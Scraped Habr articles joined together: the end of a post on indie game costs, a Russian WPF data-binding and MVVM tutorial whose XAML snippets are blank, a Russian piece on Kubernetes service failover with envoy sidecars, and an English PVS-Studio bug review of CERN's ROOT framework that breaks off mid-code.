Промо-ролик для игры создал профессиональный фотограф и просто хороший человек — Сергей Муратов из Минска. И он тоже не первый раз делает видео к моим играм. Я, как и все, склонен обращаться к людям с которыми уже был успешный опыт работы, ранее. Это плюс еще 100$. Вот практически, и все затраты. У меня, конечно, есть еще пару идей по маркетинговым вложениям, но это опционально. Сначала хочется понять, понравится ли «Way of Tanks» игрокам так же, как он нравится мне?
Суммируя все расходы, получается, что собственный несложный раннер на Google Play обойдется примерно в 3500 долларов. Много это или мало — решайте сами. По мне, так это справедливая цена за удовольствие от интересной и хорошо выполненной работы, за нажатие заветной кнопки «Опубликовать» в Developer Console, за возможность сыграть в «лотерею сторов», в которую играют все инди. И может быть даже что-то выиграть, кто знает… | https://habr.com/ru/post/249977/ | null | ru | null |
# Быстрый старт с WPF. Часть 1. Привязка, INotifyPropertyChanged и MVVM
Всем привет!
По разным причинам большинство из нас использует десктопные приложения, как минимум, браузер :) А у некоторых из нас возникает необходимость в написании своих. В этой статье я хочу пробежаться по процессу разработки несложного десктопного приложения с использованием технологии [Windows Presentation Foundation (WPF)](https://docs.microsoft.com/ru-ru/dotnet/framework/wpf/) и применением паттерна MVVM. Желающих продолжить чтение прошу под кат.
Думаю, необязательно говорить, что WPF — это разработка Microsoft :) Технология эта предназначена для разработки десктопных приложений под Windows, начиная с Windows XP. Почему именно так? Это связано с тем, что WPF работает поверх платформы .NET, минимальные требования которой — Windows XP и новее. К сожалению, WPF не работает на других платформах, хотя есть шансы, что в ближайшее время это изменится: в стадии разработки находится WPF-based фреймворк [Avalonia](https://github.com/AvaloniaUI/Avalonia).
#### В чём особенность WPF?
Два основных отличия WPF от других средств построения десктопных приложений:
* Язык разметки XAML, предназначенный для разметки самого интерфейса окна.
* Рендеринг посредством DirectX, аппаратное ускорение графики.
Я не буду углубляться в подробности, т.к. это не совсем тема статьи. Если интересно, то гуглить XAML, WPF rendering, milcore.dll и DirectX :)
#### О чём эта статья?
Эта статья содержит пример приложения, построенного на технологии WPF:
* [MVVM и интерфейс INotifyPropertyChanged. Копия текста.](https://habr.com/post/427325/#mvvm-i-interfeys-inotifypropertychanged-kopiya-teksta)
Я постараюсь ориентировать материал статьи в практическую сторону в стиле "повторяй за мной" с пояснениями.
#### Что нам понадобится для повторения статьи?
Небольшой опыт разработки на C# :) Как минимум, нужно хорошо понимать синтаксис языка. Также понадобится Windows-машина (в примерах будет Win 10) с установленной на ней Visual Studio (в примерах будет 2017, есть бесплатная [Community](https://visualstudio.microsoft.com/ru/downloads/) версия). При установке VS необходимо будет включить поддержку десктопной разработки под платформу .NET
Так же в этом разделе я опишу создание проекта.
Запускаем VS, создаём новый проект, тип приложения выбираем WPF App (.NET Framework) (можно ввести в строке поиска справа вверху), называем как угодно.
После создания нового проекта откроется окно редактора интерфейса, у меня оно выглядит так
Внизу находится редактор разметки, вверху — предпросмотр интерфейса окна, но можно поменять относительное расположение редактора кода и предпросмотра интерфейса так, что они будут располагаться в горизонтальном порядке, с помощью вот этих кнопок (справа на границе двух областей):
#### Перед тем, как начать
Элементы окна (их ещё называют контрОлами от слова **Control**) должны размещаться внутри контейнера или внутри другого элемента типа ContentControl. **Контейнер** — это специальный контрол, позволяющий разместить внутри себя несколько дочерних контролов и организовать их взаимное расположение. Примеры контейнеров:
* **Grid** — позволяет организовать элементы по столбцам и строкам, ширина каждого столбца или строки настраивается индивидуально.
* **StackPanel** — позволяет расположить дочерние элементы в одну строку или столбец.
Есть и другие контейнеры. Поскольку контейнер тоже является контролом, то внутри контейнера могут быть вложенные контейнеры, содержащие вложенные контейнеры и так далее. Это позволяет гибко располагать контролы относительно друг друга. Так же с помощью контейнеров мы можем не менее гибко управлять поведением вложенных контролов при изменении размеров окна.
#### MVVM и интерфейс INotifyPropertyChanged. Копия текста.
*Итогом этого примера станет приложение с двумя контролами, в одном из которых можно редактировать текст, а в другом только просматривать. Изменения из одного в другой будут переходить синхронно без явного копирования текста с помощью **привязки (binding)**.*
Итак, у нас есть свежесозданный проект (я назвал его **Ex1**), перейдём в редактор разметки и первым делом заменим контейнер, указанный по умолчанию () на . Этого контейнера будет достаточно, т.к. нам понадобится расположить всего лишь два контрола один над другим. Укажем явно, каким образом будут располагаться компоненты, добавив свойство **Orientation="Vertical"**. Добавим внутрь стек панели парочку элементов: поле для ввода текста и поле для отображения текста. Поскольку эти контролы не будут содержать вложенного кода, можно описать их самозакрывающимся тегом (см. код ниже). После всех вышеописанных процедур код описания контейнера и вложенных контролов должен принять такой вид:
```
```
Теперь сосредоточимся на цели этого примера. Мы хотим, чтобы при наборе текста в текстбоксе этот же текст синхронно отображался в текстблоке, избежав при этом явной операции копирования текста. Нам понадобится некая связующая сущность, и вот тут-то мы и подошли к такой штуке, как **привязка (binding)**, о которой было сказано выше. Привязка в терминологии WPF — это механизм, позволяющий связывать некоторые свойства контролов с некоторыми свойствами объекта C#-класса и выполнять взаимное обновление этих свойств при изменении одной из частей связки (это может работать в одну, в другую или в обе стороны сразу). Для тех, кто знаком с Qt, можно провести аналогию слотов и сигналов. Чтобы не растягивать время, перейдём к коду.
Итак, для организации привязки нужны свойства контролов и некое свойство некоего C#-класса. Для начала разберёмся с XAML-кодом. Текст обоих контролов хранится в свойстве Text, поэтому добавим привязку для этих свойств. Делается это так:
```
```
Мы сделали привязку, но пока непонятно к чему :) Нам нужен объект какого-то класса и какое-то свойство в этом объекте, к которому будет выполнена привязка (как ещё говорят, на которое нужно забиндиться).
Так что это за класс? Этот класс называется вьюмоделью (view model) и служит как раз связующим звеном между view (интерфейсом или его частями) и model (моделью, т.е. теми частями кода, которые отвечают за логику приложения. Это позволяет отделить (в какой-то степени) логику приложения от интерфейса (представления, view) и называется **паттерном Model-View-ViewModel (MVVM)**. В рамках WPF этот класс также называется **DataContext**.
Однако, просто написать класс вьюмодели недостаточно. Нужно ещё как-то оповещать механизм привязки о том, что свойство вьюмодели или свойство вью изменилось. Для этого существует специальный интерфейс **INotifyPropertyChanged**, который содержит событие **PropertyChanged**. Реализуем этот интерфейс в рамках базового класса **BaseViewModel**. В дальнейшем все наши вьюмодели мы будем наследовать от этого базового класса, чтобы не дублировать реализацию интерфейса. Итак, добавим в проект каталог *ViewModels*, а в этот каталог добавим файл *BaseViewModel.cs*. Получим такую структуру проекта:
Код реализации базовой вьюмодели:
```
using System.ComponentModel;
namespace Ex1.ViewModels
{
public class BaseViewModel : INotifyPropertyChanged
{
public event PropertyChangedEventHandler PropertyChanged;
protected virtual void OnPropertyChanged(string propertyName = "")
{
PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));
}
}
}
```
Создадим для нашего класса **MainWindow** свою вьюмодель, унаследовавшись от базовой. Для этого в том же каталоге *ViewModels* создадим файл *MainWindowViewModel.cs*, внутри которого будет такой код:
```
namespace Ex1.ViewModels
{
public class MainWindowViewModel : BaseViewModel
{
}
}
```
Шикарно! Теперь нужно добавить в эту вьюмодель свойство, на которое будем биндить текст наших контролов. Поскольку это текст, тип этого свойства должен быть *string*:
```
public string SynchronizedText { get; set; }
```
В итоге получим такой код
```
namespace Ex1.ViewModels
{
public class MainWindowViewModel : BaseViewModel
{
public string SynchronizedText { get; set; }
}
}
```
Так, кажется, справились. Осталось забиндиться на это свойство из вьюхи и готово. Давайте сделаем это прямо сейчас:
```
```
Ништяк, запускаем проект, набираем текст в текстбокс иииии… ничего не происходит))) Ну, ничего страшного, на самом деле мы идём правильной дорогой, просто пока ещё не дошли до нужной точки.
Предлагаю на минутку остановиться и подумать, чего же нам не хватает. Вьюха у нас есть. Вьюмодель тоже. Свойства вроде забиндили. Нужный интерфейс реализовали. Проделали кучу работы ради копирования жалкой строчки текста, за что нам это???!?!111
Ладно, шутки в сторону. Мы забыли создать объект вьюмодели и кое-что ещё (об этом позже). Сам класс мы описали, но это ничего не значит, ведь у нас нет объектов этого класса. Ок, где нужно хранить ссылку на этот объект? Ближе к началу примера я упомянул некий *DataContext*, используемый в WPF. Так вот, у любой вью есть свойство **DataContext**, которому мы можем присвоить ссылку на нашу вьюмодель. Сделаем это. Для этого откроем файл *MainWindow.xaml* и нажмём F7, чтобы открыть код этой вьюхи. Он практически пустой, в нём есть только конструктор класса окна. Добавим в него создание нашей вьюмодели и поместим её в **DataContext** окна (не забываем добавить using с нужным неймспейсом):
```
public MainWindow()
{
InitializeComponent();
this.DataContext = new MainWindowViewModel();
}
```
Это было просто, но этого всё равно не хватает. По-прежнему при запуске приложения никакой синхронизации текста не происходит. Что ещё нужно сделать?
Нужно вызвать событие **PropertyChanged** при изменении свойства **SynchronizedText** и сообщить вьюхе о том, что она должна следить за этим событием. Итак, чтобы вызвать событие, модифицируем код вьюмодели:
```
public class MainWindowViewModel : BaseViewModel
{
private string _synchronizedText;
public string SynchronizedText
{
get => _synchronizedText;
set
{
_synchronizedText = value;
OnPropertyChanged(nameof(SynchronizedText));
}
}
}
```
Что мы тут сделали? Добавили скрытое поле для хранения текста, обернули его в уже существующее свойство, а при изменении этого свойства не только меняем скрытое поле, но и вызываем метод **OnPropertyChanged**, определённый в базовой вьюмодели и вызывающий событие **PropertyChanged**, объявленное в интерфейсе **INotifyPropertyChanged**, так же реализованное в базовой вьюмодели. Получается, что при каждом изменении текста возникает событие **PropertyChanged**, которому передаётся имя свойства вьюмодели, которое было изменено.
Ну, почти всё, финишная прямая! Осталось указать вьюхе, что оно должно слушать событие **PropertyChanged**:
```
```
Помимо того, что мы указали, по какому триггеру должно происходить обновление, мы так же указали, в какую сторону это обновление отслеживается: от вью к вьюмодели или наоборот. Поскольку в текстбоксе мы вводим текст, то нам интересны изменения только во вью, поэтому выбираем режим **OneWayToSource**. В случае с текстблоком всё ровно наоборот: нам интересны изменения во вьюмодели, чтобы отобразить их во вью, поэтому выбираем режим **OneWay**. Если бы нам нужно было, чтобы изменения отслеживались в обе стороны, можно было не указывать **Mode** вообще, либо указать **TwoWay** явно.
Итак, запускаем программу, набираем текст и voi-la! Текст синхронно меняется, и мы нигде ничего не копировали!
Спасибо за внимание, продолжение следует. Будем разбираться с DataTemplate и паттерном Command. | https://habr.com/ru/post/427325/ | null | ru | null |
# Kubernetes в production: сервисы
Полгода назад мы закончили миграцию всех наших stateless сервисов в kubernetes. На первый взгляд задача достаточно простая: нужно развернуть кластер, написать спецификации приложений и вперед. Из-за одержимости в вопросе обеспечения стабильности в работе нашего сервиса пришлось сразу начать разбираться с тем, как работает k8s и тестировать различные сценарии отказов. Больше всего вопросов у меня возникало ко всему, что касается сети. Один из таких "скользких" моментов — работа сервисов (Services) в kubernetes.
В документации нам говорят:
* выкатите приложение
* задайте liveness/readiness пробы
* создайте сервис
* дальше все будет работать: балансировка нагрузки, обработка отказов итд.
Но на практике все несколько сложнее. Давайте посмотрим, как оно работает на самом деле.
Немного теории
--------------
Далее я подразумеваю, что читатель уже знаком с устройством kubernetes и его терминологией, вспомним лишь, что такое сервис.
[Сервис](https://kubernetes.io/docs/concepts/services-networking/service/) — сущность k8s, которая описывает совокупность [подов](https://kubernetes.io/docs/concepts/workloads/pods/pod/) и методов доступа к ним.
Например, мы запустили наше приложение:
```
apiVersion: apps/v1
kind: Deployment
metadata:
name: webapp
spec:
selector:
matchLabels:
app: webapp
replicas: 2
template:
metadata:
labels:
app: webapp
spec:
containers:
- name: webapp
image: defaultxz/webapp
command: ["/webapp", "0.0.0.0:80"]
ports:
- containerPort: 80
readinessProbe:
httpGet: {path: /, port: 80}
initialDelaySeconds: 1
periodSeconds: 1
```
```
$ kubectl get pods -l app=webapp
NAME READY STATUS RESTARTS AGE
webapp-5d5d96f786-b2jxb 1/1 Running 0 3h
webapp-5d5d96f786-rt6j7 1/1 Running 0 3h
```
Теперь чтобы обратиться к нему, мы должны создать сервис, в котором определяем к каким именно подам мы хотим иметь доступ (selector) и по каким портам:
```
kind: Service
apiVersion: v1
metadata:
name: webapp
spec:
selector:
app: webapp
ports:
- protocol: TCP
port: 80
targetPort: 80
```
```
$ kubectl get svc webapp
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
webapp ClusterIP 10.97.149.77 80/TCP 1d
```
Теперь мы с любой машины кластера можем обратиться к нашему сервису:
```
curl -i http://10.97.149.77
HTTP/1.1 200 OK
Date: Mon, 24 Sep 2018 11:55:14 GMT
Content-Length: 2
Content-Type: text/plain; charset=utf-8
```
Как это все работает
--------------------
Очень упрощенно:
* вы сделали kubectl apply спецификации Deployment
* происходит магия, детали которой не важны в данном контексте
* в результате на каких-то нодах оказались работающие поды приложения
* раз в интервал kubelet (агент k8s на каждой ноде) выполняет liveness/readiness пробы всех запущенных на его ноде подов, результаты он отправляет в apiserver (интерфейс к мозгам k8s)
* kube-proxy на каждой ноде получает уведомления от apiserver о всех изменениях сервисов и подов, которые участвуют в сервисах
* kube-proxy все изменения отражает в конфигурации [нижележащих подсистем](https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies) (iptables, ipvs)
Для простоты рассмотрим дефолтный способ проксирования — iptables. В iptables у нас для нашего виртуального ip 10.97.149.77:
```
-A KUBE-SERVICES -d 10.97.149.77/32 -p tcp -m comment --comment "default/webapp: cluster IP" -m tcp --dport 80 -j KUBE-SVC-BL7FHTIPVYJBLWZN
```
трафик уходит в цепочку **KUBE-SVC-BL7FHTIPVYJBLWZN**, в которой распределяется между 2 другими цепочками
```
-A KUBE-SVC-BL7FHTIPVYJBLWZN -m comment --comment "default/webapp:" -m statistic --mode random --probability 0.50000000000 -j KUBE-SEP-UPKHDYQWGW4MVMBS
-A KUBE-SVC-BL7FHTIPVYJBLWZN -m comment --comment "default/webapp:" -j KUBE-SEP-FFCBJRUPEN3YPZQT
```
это уже наши поды:
```
-A KUBE-SEP-UPKHDYQWGW4MVMBS -p tcp -m comment --comment "default/webapp:" -m tcp -j DNAT --to-destination 10.244.0.10:80
-A KUBE-SEP-FFCBJRUPEN3YPZQT -p tcp -m comment --comment "default/webapp:" -m tcp -j DNAT --to-destination 10.244.0.11:80
```
Тестируем отказ одного из подов
-------------------------------
Мое тестовое приложение webapp умеет переключаться в режим "сыпь ошибками", для этого нужно сделать дернуть урл "/err".
Результаты ab -c 50 -n 20000 в середине теста дернули "/err" на одном из подов:
```
Complete requests: 20000
Failed requests: 3719
```
Дело тут не в конкретном количестве ошибок (их количество будет меняться в зависимости от нагрузки), а в том, что они есть. В целом мы выкинули "плохой" под из балансировки, но в момент переключения клиент сервиса получал ошибки. Причину ошибок достаточно легко объяснить: readiness пробы выполняются kubelet раз в секунду + еще небольшое время на распространение информации о том, что под не ответил на пробу.
Поможет ли IPVS бэкенд для kube-proxy (experimental)?
-----------------------------------------------------
На самом деле нет! Он решает задачу оптимизации проксирования, предлагает настраиваемый алгоритм балансировки, но никак не решит проблему обработки отказов.
Как быть
--------
Данную проблему может решить только балансировщик, который умеет повторные попытки (retries). Другими словами, для http нам нужен L7 балансировщик. Такие балансировщики для kubernetes уже во всю используются либо в виде [ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/) (подразумевался как точка в хода в кластер, но по большому счету делает ровно то, что нужно), либо как реализацию отдельного слоя — service mesh, например [istio](https://istio.io/).
У себя в production мы не стали пока использовать ни ingress, ни service mesh из-за дополнительной сложности. Подобные абстракции, на мой взгляд, помогают в тех случаях, когда нужно часто конфигурировать большое количество сервисов. Но при этом вы "платите" управляемостью и простой инфраструктуры. Вы будете тратить дополнительное время, чтобы понять, как настроить рертаи, таймауты для конкретного сервиса.
Как делаем мы
-------------
Мы используем headless сервисы k8s. У таких сервисов нет виртуального ip и соответственно в их работе kube-proxy и iptables не участвует. Для каждого такого сервиса можно получить список живых подов либо через DNS, либо через API.
Для приложений, которые взаимодействуют с другими сервисами мы делаем sidecar контейнер с [envoy](https://github.com/envoyproxy/envoy). Evoy периодически получает актуальных список подов для всех нужных сервисов через DNS, и самое главное умеет делать повторные попытки запросов на другие поды в случае ошибки. Можно запустить его в виде DaemonSet на каждой ноде, но тогда при отказе этого инстанса, перестали бы работать все приложения, которые его используют. Так как потребление ресурсов этим прокси достаточно небольшое, мы решили использовать его именно в варианте sidecar контейнера.
Это по сути ровно то, что делает istio, но в нашем случае баланс сместился в сторону простоты (не нужно изучать istio, нарываться на его баги). Возможно этот баланс изменится, и мы начнем использовать что-нибудь типа istio.
*У нас в [okmeter.io](https://okmeter.io/?utm_source=habr&utm_medium=habr-post&utm_campaign=blog&utm_content=k8s_services) kubernetes определенно прижился, и мы верим в его дальнейшее распространение. Поддержка мониторинга k8s в нашем сервисе на подходе, следите за новостями!* | https://habr.com/ru/post/424229/ | null | ru | null |
# Analyzing the Code of ROOT, Scientific Data Analysis Framework
While Stockholm was holding the 118th Nobel Week, I was sitting in our office, where we develop the PVS-Studio static analyzer, working on an analysis review of the ROOT project, a big-data processing framework used in scientific research. This code wouldn't win a prize, of course, but the authors can definitely count on a detailed review of the most interesting defects plus a free license to thoroughly check the project on their own.
Introduction
------------
[ROOT](https://root.cern/) is a modular scientific software toolkit. It provides all the functionalities needed to deal with big data processing, statistical analysis, visualisation and storage. It is mainly written in C++. ROOT was born at [CERN](https://home.cern/), at the heart of the research on high-energy physics. Every day, thousands of physicists use ROOT applications to analyze their data or to perform simulations.
[PVS-Studio](https://www.viva64.com/en/pvs-studio/) is a tool for detecting software bugs and potential vulnerabilities in the source code of programs written in C, C++, C#, and Java. It runs on 64-bit Windows, Linux, and macOS and can analyze source code written for 32-bit, 64-bit, and embedded ARM platforms.
A new diagnostic's debut
------------------------
[V1046](https://www.viva64.com/en/w/v1046/) Unsafe usage of the bool' and 'int' types together in the operation '&='. GSLMultiRootFinder.h 175
```
int AddFunction(const ROOT::Math::IMultiGenFunction & func) {
ROOT::Math::IMultiGenFunction * f = func.Clone();
if (!f) return 0;
fFunctions.push_back(f);
return fFunctions.size();
}
template
bool SetFunctionList( FuncIterator begin, FuncIterator end) {
bool ret = true;
for (FuncIterator itr = begin; itr != end; ++itr) {
const ROOT::Math::IMultiGenFunction \* f = \*itr;
ret &= AddFunction(\*f);
}
return ret;
}
```
First off, here's a wonderful bug found by the beta version of PVS-Studio, which I was using for this review.
**Expectations.** The *SetFunctionList* function traverses an iterator list. If at least one iterator is invalid, the function returns *false*, or *true* otherwise.
**Reality.** The *SetFunctionList* function can return *false* even for valid iterators. Let's figure out why. The*AddFunction* function returns the number of valid iterators on the *fFunctions* list. That is, adding non-null iterators will cause the list to incrementally grow in size: 1, 2, 3, 4, and so on. This is where the bug comes into play:
```
ret &= AddFunction(*f);
```
Since the function returns a value of type *int* rather than *bool*, the '&=' operation will return *false* for even values because the least significant bit of an even number is always set to zero. This is how one subtle bug can break the return value of *SetFunctionsList* even when its arguments are valid.
Errors in conditional expressions
---------------------------------
[V501](https://www.viva64.com/en/w/v501/) There are identical sub-expressions to the left and to the right of the '&&' operator: module && module rootcling\_impl.cxx 3650
```
virtual void HandleDiagnostic(....) override
{
....
bool isROOTSystemModuleDiag = module && ....;
bool isSystemModuleDiag = module && module && module->IsSystem;
if (!isROOTSystemModuleDiag && !isSystemModuleDiag)
fChild->HandleDiagnostic(DiagLevel, Info);
....
}
```
Let's start with the least harmful bug. The *module* pointer is checked twice. One of the checks is probably redundant, yet it would still be wise to fix it to avoid any confusion in the future.
[V501](https://www.viva64.com/en/w/v501/) There are identical sub-expressions 'strchr(fHostAuth->GetHost(), '\*')' to the left and to the right of the '||' operator. TAuthenticate.cxx 300
```
TAuthenticate::TAuthenticate(TSocket *sock, const char *remote,
const char *proto, const char *user)
{
....
// If generic THostAuth (i.e. with wild card or user == any)
// make a personalized memory copy of this THostAuth
if (strchr(fHostAuth->GetHost(),'*') || strchr(fHostAuth->GetHost(),'*') ||
fHostAuth->GetServer() == -1 ) {
fHostAuth = new THostAuth(*fHostAuth);
fHostAuth->SetHost(fqdn);
fHostAuth->SetUser(checkUser);
fHostAuth->SetServer(servtype);
}
....
}
```
The *fHostAuth->GetHost()* string is scanned for the '\*' character twice. One of these checks was probably meant to look for the '?' character as these two characters are typically the ones used to specify various wildcard masks.
[V517](https://www.viva64.com/en/w/v517/) The use of 'if (A) {...} else if (A) {...}' pattern was detected. There is a probability of logical error presence. Check lines: 163, 165. TProofMonSenderML.cxx 163
```
Int_t TProofMonSenderML::SendSummary(TList *recs, const char *id)
{
....
if (fSummaryVrs == 0) {
if ((dsn = recs->FindObject("dataset"))) recs->Remove(dsn);
} else if (fSummaryVrs == 0) {
// Only the first records
xrecs = new TList;
xrecs->SetOwner(kFALSE);
TIter nxr(recs);
TObject *o = 0;
while ((o = nxr())) {
if (!strcmp(o->GetName(), "vmemmxw")) break;
xrecs->Add(o);
}
}
....
}
```
The *fSummaryVrs* variable is compared with zero twice, so execution never reaches the code in the *else-if* branch. And there's quite a bit of code there…
[V523](https://www.viva64.com/en/w/v523/) The 'then' statement is equivalent to the 'else' statement. TKDTree.cxx 805
```
template
void TKDTree::UpdateRange(....)
{
....
if (point[fAxis[inode]]<=fValue[inode]){
//first examine the node that contains the point
UpdateRange(GetLeft(inode),point, range, res);
UpdateRange(GetRight(inode),point, range, res);
} else {
UpdateRange(GetLeft(inode),point, range, res);
UpdateRange(GetRight(inode),point, range, res);
}
....
}
```
The same block of code, which is a copy-paste clone, is executed no matter the condition. I guess there's a confusion between the words *left* and *right*.
The project is full of suspicious spots like that:
* V523 The 'then' statement is equivalent to the 'else' statement. TContainerConverters.cxx 51
* V523 The 'then' statement is equivalent to the 'else' statement. TWebFile.cxx 1310
* V523 The 'then' statement is equivalent to the 'else' statement. MethodMLP.cxx 423
* V523 The 'then' statement is equivalent to the 'else' statement. RooAbsCategory.cxx 394
[V547](https://www.viva64.com/en/w/v547/) Expression '!file\_name\_value.empty()' is always false. SelectionRules.cxx 1423
```
bool SelectionRules::AreAllSelectionRulesUsed() const {
for(auto&& rule : fClassSelectionRules){
....
std::string file_name_value;
if (!rule.GetAttributeValue("file_name", file_name_value))
file_name_value.clear();
if (!file_name_value.empty()) { // <=
// don't complain about defined_in rules
continue;
}
const char* attrName = nullptr;
const char* attrVal = nullptr;
if (!file_name_value.empty()) { // <=
attrName = "file name";
attrVal = file_name_value.c_str();
} else {
attrName = "class";
if (!name.empty()) attrVal = name.c_str();
}
ROOT::TMetaUtils::Warning(0,"Unused %s rule: %s\n", attrName, attrVal);
}
....
}
```
This is probably not a bug; the analyzer just found some code that can be simplified. Since the return value of *file\_name\_value.empty()* is already checked at the beginning of the loop, the second duplicate check can be removed, thus throwing away a good amount of unnecessary code.
[V590](https://www.viva64.com/en/w/v590/) Consider inspecting the '!file1 || c <= 0 || c == '\*' || c != '('' expression. The expression is excessive or contains a misprint. TTabCom.cxx 840
```
TString TTabCom::DetermineClass(const char varName[])
{
....
c = file1.get();
if (!file1 || c <= 0 || c == '*' || c != '(') {
Error("TTabCom::DetermineClass", "variable \"%s\" not defined?",
varName);
goto cleanup;
}
....
}
```
Here's the problem part of the conditional expression reported by the analyzer:
```
if (.... || c == '*' || c != '(') {
....
}
```
The check for the asterisk character won't affect the condition's result. This part will always be true for any character other than '('. You can easily check it for yourself by drawing a truth table.
Two more warnings about conditions with strange logic:
* V590 Consider inspecting this expression. The expression is excessive or contains a misprint. TFile.cxx 3963
* V590 Consider inspecting this expression. The expression is excessive or contains a misprint. TStreamerInfoActions.cxx 3084
[V593](https://www.viva64.com/en/w/v593/) Consider reviewing the expression of the 'A = B < C' kind. The expression is calculated as following: 'A = (B < C)'. TProofServ.cxx 1903
```
Int_t TProofServ::HandleSocketInput(TMessage *mess, Bool_t all)
{
....
if (Int_t ret = fProof->AddWorkers(workerList) < 0) {
Error("HandleSocketInput:kPROOF_GETSLAVEINFO",
"adding a list of worker nodes returned: %d", ret);
}
....
}
```
This bug reveals itself only in the case of the program's faulty behavior. The *ret* variable is supposed to store the return code of the *AddWorkers* function and write that value to the log in case of error condition. But it doesn't work as intended. The condition lacks additional parentheses forcing the desired order of evaluation. What the *ret* variable actually stores is not the return code but the result of the logical comparison, i.e. either 0 or 1.
Another similar problem:
* V593 Consider reviewing the expression of the 'A = B < C' kind. The expression is calculated as following: 'A = (B < C)'. TProofServ.cxx 3897
[V768](https://www.viva64.com/en/w/v768/) The enumeration constant 'kCostComplexityPruning' is used as a variable of a Boolean-type. MethodDT.cxx 283
```
enum EPruneMethod {kExpectedErrorPruning=0, kCostComplexityPruning, kNoPruning};
void TMVA::MethodDT::ProcessOptions()
{
....
if (fPruneStrength < 0) fAutomatic = kTRUE;
else fAutomatic = kFALSE;
if (fAutomatic && fPruneMethod==!DecisionTree::kCostComplexityPruning){
Log() << kFATAL
<< "Sorry automatic pruning strength determination is ...." << Endl;
}
....
}
```
Hm… Why negate the constant value *kCostComplexityPruning*? I suspect the negation character is a typo, which now distorts the execution logic.
Pointer handling errors
-----------------------
[V522](https://www.viva64.com/en/w/v522/) Dereferencing of the null pointer 'pre' might take place. TSynapse.cxx 61
```
void TSynapse::SetPre(TNeuron * pre)
{
if (pre) {
Error("SetPre","this synapse is already assigned to a pre-neuron.");
return;
}
fpre = pre;
pre->AddPost(this);
}
```
I did my best trying to understand this strange code, and it seems the idea was to avoid assigning a new value to the *fpre* field. If so, the programmer is accidentally checking the wrong pointer. The current implementation leads to dereferencing a null pointer if you pass the *nullptr* value to the *SetPre* function.
I think this snippet should be fixed as follows:
```
void TSynapse::SetPre(TNeuron * pre)
{
if (fpre) {
Error("SetPre","this synapse is already assigned to a pre-neuron.");
return;
}
fpre = pre;
pre->AddPost(this);
}
```
This, however, wouldn't prevent the passing of a null pointer to the function, but at least this version is more logically consistent than the original one.
A slightly modified clone of this code can be found in another spot:
* V522 Dereferencing of the null pointer 'post' might take place. TSynapse.cxx 74
[V595](https://www.viva64.com/en/w/v595/) The 'N' pointer was utilized before it was verified against nullptr. Check lines: 484, 488. Scanner.cxx 484
```
bool RScanner::shouldVisitDecl(clang::NamedDecl *D)
{
if (auto M = D->getOwningModule()) { // <= 2
return fInterpreter.getSema().isModuleVisible(M);
}
return true;
}
bool RScanner::VisitNamespaceDecl(clang::NamespaceDecl* N)
{
if (fScanType == EScanType::kOnePCM)
return true;
if (!shouldVisitDecl(N)) // <= 1
return true;
if((N && N->isImplicit()) || !N){ // <= 3
return true;
}
....
}
```
This is an extremely dangerous piece of code! The *N* pointer isn't checked for null before it gets dereferenced the first time. What is more, you can't see it happen here because the dereference takes place inside the *shouldVisitDecl* function.
This diagnostic traditionally generates a bunch of relevant warnings. Here are just a few examples:
* V595 The 'file' pointer was utilized before it was verified against nullptr. Check lines: 141, 153. TFileCacheRead.cxx 141
* V595 The 'fFree' pointer was utilized before it was verified against nullptr. Check lines: 2029, 2038. TFile.cxx 2029
* V595 The 'tbuf' pointer was utilized before it was verified against nullptr. Check lines: 586, 591. TGText.cxx 586
* V595 The 'fPlayer' pointer was utilized before it was verified against nullptr. Check lines: 3425, 3430. TProof.cxx 3425
* V595 The 'gProofServ' pointer was utilized before it was verified against nullptr. Check lines: 1192, 1194. TProofPlayer.cxx 1192
* V595 The 'projDataTmp' pointer was utilized before it was verified against nullptr. Check lines: 791, 804. RooSimultaneous.cxx 791
The next one is not a bug, but it's yet another example of how macros [encourage](https://arne-mertz.de/2019/03/macro-evil/) writing faulty or redundant code.
[V571](https://www.viva64.com/en/w/v571/) Recurring check. The 'if (fCanvasImp)' condition was already verified in line 799. TCanvas.cxx 800
```
#define SafeDelete(p) { if (p) { delete p; p = 0; } }
void TCanvas::Close(Option_t *option)
{
....
if (fCanvasImp)
SafeDelete(fCanvasImp);
....
}
```
The *fCanvasImp* pointer is checked twice, with one of the checks already implemented in the *SafeDelete* macro. One of the problems with macros is that they are difficult to navigate from within the code, which is the reason why many programmers don't examine their contents before use.
Array handling errors
---------------------
[V519](https://www.viva64.com/en/w/v519/) The 'Line[Cursor]' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 352, 353. Editor.cpp 353
```
size_t find_last_non_alnum(const std::string &str,
std::string::size_type index = std::string::npos) {
....
char tmp = Line.GetText()[Cursor];
Line[Cursor] = Line[Cursor - 1];
Line[Cursor] = tmp;
....
}
```
The element *Line[Cursor]* is assigned a new value, which then immediately gets overwritten. That doesn't look right…
[V557](https://www.viva64.com/en/w/v557/) Array overrun is possible. The 'ivar' index is pointing beyond array bound. BasicMinimizer.cxx 130
```
bool BasicMinimizer::SetVariableValue(unsigned int ivar, double val) {
if (ivar > fValues.size() ) return false;
fValues[ivar] = val;
return true;
}
```
Making this mistake when checking array indexes is a recent trend; we see it in almost every third project. While indexing into an array inside a loop is easy – you typically use the '<' operator to compare the index with the array's size – checks like the one shown above require the '>=' operator, not '>'. Otherwise you risk indexing one element beyond the array's bound.
This bug was cloned throughout the code a few times:
* V557 Array overrun is possible. The 'ivar' index is pointing beyond array bound. BasicMinimizer.cxx 186
* V557 Array overrun is possible. The 'ivar' index is pointing beyond array bound. BasicMinimizer.cxx 194
* V557 Array overrun is possible. The 'ivar' index is pointing beyond array bound. BasicMinimizer.cxx 209
* V557 Array overrun is possible. The 'ivar' index is pointing beyond array bound. BasicMinimizer.cxx 215
* V557 Array overrun is possible. The 'ivar' index is pointing beyond array bound. BasicMinimizer.cxx 230
[V621](https://www.viva64.com/en/w/v621/) Consider inspecting the 'for' operator. It's possible that the loop will be executed incorrectly or won't be executed at all. TDataMember.cxx 554
```
Int_t TDataMember::GetArrayDim() const
{
if (fArrayDim<0 && fInfo) {
R__LOCKGUARD(gInterpreterMutex);
TDataMember *dm = const_cast(this);
dm->fArrayDim = gCling->DataMemberInfo\_ArrayDim(fInfo);
// fArrayMaxIndex should be zero
if (dm->fArrayDim) {
dm->fArrayMaxIndex = new Int\_t[fArrayDim];
for(Int\_t dim = 0; dim < fArrayDim; ++dim) {
